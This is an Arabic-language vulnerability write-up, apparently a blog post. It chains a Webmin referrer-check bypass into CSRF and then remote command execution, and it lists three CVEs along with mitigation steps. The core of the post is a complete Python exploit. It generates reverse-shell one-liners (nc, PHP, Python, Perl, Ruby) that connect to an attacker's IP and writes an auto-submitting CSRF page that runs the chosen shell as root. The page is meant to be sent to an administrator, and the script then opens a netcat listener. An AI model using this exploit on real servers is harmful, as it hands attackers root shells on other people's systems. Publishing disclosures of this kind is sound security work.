Referrer Header Bypass > CSRF > Running Process endpoint > RCE > 0days > 3 CVEs > Webmin HOF
بسم الله الرحمن الرحيم
يالله حيهم ^_^ , كل عآم وأنتم بألف خير يارب

Referrer Header Bypass :
نحاول نختصر بقدر المستطاع , مثل ماأنتم عارفين الويب مين يعتبر أوبن سورس وهذي نبذة عنه

فكانت الخطوة الأولى هي إننا ناخذه عاللوكال هوست ونبدأ فحص لكن قبل تبدأ فحص دائما شي جميل تكون عندك صورة مبدأية عن الشي اللي راح تتعامل معه
طيب وش أقصد ؟ الويب مين بإختصار نقدر نعتبره كونترول بانل , والكونترول بانلز (مجازا) عبارة عن آكشنز
طيب بعد ماطبقنا أحد الآكشنز الموجودة كان مافيه أي نوع من أنواع الحماية من
CSRF
إلا شي واحد للأسف وهو الريفيرر هيدر وكان مايقبل إلا
Referer: same as the Host
طيب إيش هو الريفرر هيدر أصلا؟ ( مجازا ) هو العنوان اللي جاي منه الريكويست
طيب ليش قلنا للأسف ؟ لأن الريفرر هيدر مانقدر نسوي له
Spoofing
ملاحظة : هنا مانتكلم عن الإستثناءات زي ماحصل قبل أربع سنوات في ثغرة متصفح
Edge/IE
https://www.brokenbrowser.com/referer-spoofing-defeating-xss-filter/
صراحة عشان أكون صادق موضوع الريفيرر هيدر موضوع كبير وفيه تفاصيل كثيرة ( بالنسبة لي ) وممكن أخصص موضوع أو بحث كامل فالمستقبل عن الريفرر هيدر من الأساس ثم نناقش بعض الطرق لتخطيه
لكن حاليا راح نشرح الطريقة اللي عن طريقها قدرنا نتخطى الريفرر هيدر
بعد محاولات كثير توصلنا فالأخير إننا نقدر نتخطى الريفرر هيدر بسهولة عن طريق إرسال ريكويست بدون ريفرر هيدر من الأساس
طيب حلو عرفنا طريقة التخطي بس كيف ممكن أرسل ريكويست بدون ريفرر هيدر أصلا ؟ فيه عدة طرق
ومنها بعض الـ
Referrer-Policy
مصدر ممتاز :
طيب قبل نبدأ بإستخدامها خلونا بس نسوي محاكاة للي كان يصير فالباك اند
هذا كود بي اتش بي بسيط عدلت عليه عشان بس أي أحد يقدر يجرب السيناريو كامل , التطبيق أهم شي

<?php
if(isset($_SERVER[‘HTTP_REFERER’], $_SERVER[‘HTTP_HOST’])){
if(parse_url($_SERVER[‘HTTP_REFERER’], PHP_URL_HOST)!=$_SERVER[‘HTTP_HOST’]){echo “Anti-CSRF”; //Referer: http://meshal-mohammed.com ( != HOST )
}
else{
echo “Welcome”; //Referer: http://127.0.0.1 ( === HOST )
}
}
else{
echo “Bypassed”; //no-referrer
}?>
الكود بكل إختصار يسوي حاجتين
الأولى : يتأكد من وجود هوست وريفيرر هيدرز
الثانية : يتأكد إن الريفيرر هيدر يساوي الهوست هيدر
معناتها أي ريكويست جاي من خارج التطبيق ماراح ينقبل
نجرب

هنا أرست ريكويست لكن الريفيرر هيدر مايساوي الهوست , النتيجة

طيب هنا أرسلت ريكويست لكن الهوست يساوي الريفيرر

والنتيجة

CSRF
بعد ماعرفنا الطريقة باقي علينا فقط نجهز الـ
CSRF POC
بإستخدام
no-referrer policy
طيب ليش اخترناها ؟ بكل بساطة لإنها ترسل الريكويست
Referer: No data
فيه بوليسيز ثانية زي مثلا
strict-origin , no-referrer-when-downgrade …etc
لكن لها بعض الشروط ومنها على سبيل المثال هو إن الريكويست يكون
HTTPS to HTTP
Recap
فالبداية تأكدنا مافيه أي نوع من أنواع الحماية غير الريفيرر , وبعد ماجربنا عدة طرق لتخطي الريفيرر توصلنا أخيرا إلى إمكانية تخطيه عن طريق إرسال ريكويست بدون ريفرر من الأساس , بعدها قررنا إستخدام أحد الريفيرر بوليسيز اللي نقدر عن طريقها نرسل ريكويست بدون ريفيرر هيدر
CSRF POC

طيب نجرب ؟
على نفس مثالنا فوق , أرسلت الريكويست

والنتيجة ^_^

وبكذا قدرنا نستغل الـ
Referrer bad implementation
RCE
ذكرت فالبداية بأن الويب مين عبارة عن كنترول بانل مكونة من عدة آكشنز , بكل بساطة أحد الآكشنز كان
Running Process
فبكذا خلاص إكتملت السايكل , عندنا
CSRF + Running Process endpoint = RCE
Final expl0it
Exploiting a Cross-site request forgery (CSRF) attack to get a Remote Command Execution (RCE) through the Webmin’s running process feature
import time, subprocess,random
print('''\033[1;37m
__ __ _ ____ _ _________ _ _ _
| \/ | | | |___ \| | |___ / _ \| | | | | |
| \ / | ___ ___| |__ __) | | / / | | | | __| |_ _ ___| | __
| |\/| |/ _ \/ __| '_ \ |__ <| | / /| | | | |/ _` | | | |/ __| |/ /
| | | | __/\__ \ | | |___) | | _ _ / /_| |_| | | (_| | |_| | (__| <
|_| |_|\___||___/_| |_|____/|_| (_|_) /_____\___/|_|\__,_|\__, |\___|_|\_/
__/ |
|___/
\033[1;m''')
for i in range(101):
print(
"\r\033[1;36m [>] POC By \033[1;m \033[1;37mMesh3l\033[1;m \033[1;36m ( \033[1;m\033[1;37m@Mesh3l_911\033[1;m\033[1;36m ) & \033[1;m \033[1;37mZ0ldyck\033[1;m\033[1;36m ( \033[1;m\033[1;37m@electronicbots\033[1;m\033[1;36m ) \033[1;m {} \033[1;m".format(
i), "\033[1;36m%\033[1;m", end="")
time.sleep(0.02)
print("\n\n")
target = input(
"\033[1;36m \n Please input ur target's webmin path e.g. ( https://webmin.Mesh3l-Mohammed.com/ ) > \033[1;m")
if target.endswith('/'):
target = target + 'proc/run.cgi'
else:
target = target + '/proc/run.cgi'
ip = input("\033[1;36m \n Please input ur IP to set up the Reverse Shell e.g. ( 10.10.10.10 ) > \033[1;m")
port = input("\033[1;36m \n Please input a Port to set up the Reverse Shell e.g. ( 1337 ) > \033[1;m")
ReverseShell = input \
('''\033[1;37m
\n
1- Bash Reverse Shell \n
2- PHP Reverse Shell \n
3- Python Reverse Shell \n
4- Perl Reverse Shell \n
5- Ruby Reverse Shell \n
\033[1;m
\033[1;36mPlease insert the number Reverse Shell's type u want e.g. ( 1 ) > \033[1;m''')
file_name = random.randrange(1000)
if ReverseShell == '1':
ReverseShell = 'mkfifo /tmp/'+str(file_name)+'; nc '+ip+' '+port+' 0</tmp/'+str(file_name)+' | /bin/sh >/tmp/'+str(file_name)+' 2>&1; rm /tmp/'+str(file_name)+''
elif ReverseShell == '2':
ReverseShell = ''' php -r '$sock=fsockopen("''' + ip + '''",''' + port + ''');exec("/bin/sh -i <&3 >&3 2>&3");' '''
elif ReverseShell == '3':
ReverseShell = ''' python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("''' + ip + '''",''' + port + '''));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' '''
elif ReverseShell == '4':
ReverseShell = ''' perl -e 'use Socket;$i="''' + ip + '''";$p=''' + port + ''';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' '''
elif ReverseShell == '5':
ReverseShell = ''' ruby -rsocket -e'f=TCPSocket.open("''' + ip + '''",''' + port + ''').to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' '''
else:
print("\033[1;36m \n Please Re-Check ur input :( \033[1;m \n")
def CSRF_Generator():
with open('CSRF_POC.html', 'w') as POC:
POC.write \
('''
<html>
<head>
<meta name="referrer" content="never">
</head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="''' + target +'''" method="POST">
<input type="hidden" name="cmd" value="''' + ReverseShell + '''" />
<input type="hidden" name="mode" value="0" />
<input type="hidden" name="user" value="root" />
<input type="hidden" name="input" value="" />
<input type="hidden" name="undefined" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
''')
POC.close()
print(
"\033[1;36m\nThe CSRF_POC has been generated successfully , send it to a Webmin's Admin and wait for your Reverse Shell ^_^ \n \033[1;m")
def Netcat_listener():
print()
subprocess.run(["nc", "-nlvp "+port+""])
def main():
CSRF_Generator()
Netcat_listener()
if __name__ == '__main__':
main()

CSRF 2 RCE POC
CVEs
CVE-2021–31760
CVE-2021–31761
CVE-2021–31762
تلاقونها كلها هنا بكامل التفاصيل
POCs Playlist
https://www.youtube.com/watch?v=23VvUMu-28c&list=PL4swBO32x3aGoHrDThcmORHfeC4L11u8g
Webmin HOF

Mitigation
فيه تحديث جديد نزلوه قبل 18 يوم
Webmin 1.974
أو إضافة
referers_none=1
إلى
/etc/webmin/config
Time-Line :
صراحة كان سريع جدا سواء من ويب مين أو من مايتر
وتقريبا خلال 3 أيام فقط تم تسجيل الـ
CVEs
Finally
نتمنى والله العظيم الرايت اب هذا يفيد ولو شخص واحد , ومانبغا منكم غير دعوة لنا ولوالدينا ولمن يعز علينا
واجهنا شوي صعوبة في كتابة الرايت اب بالعربي فبعض المصطلحات دخلناها بالجدار لكن الشكوى لله.
اللهم إن أخطأنا فمن أنفسنا ومن الشيطان وإن أصبنا فمن فضلك وكرمك وجودك
دعواتكم
Happy Testing ^_^
Twitter Accounts

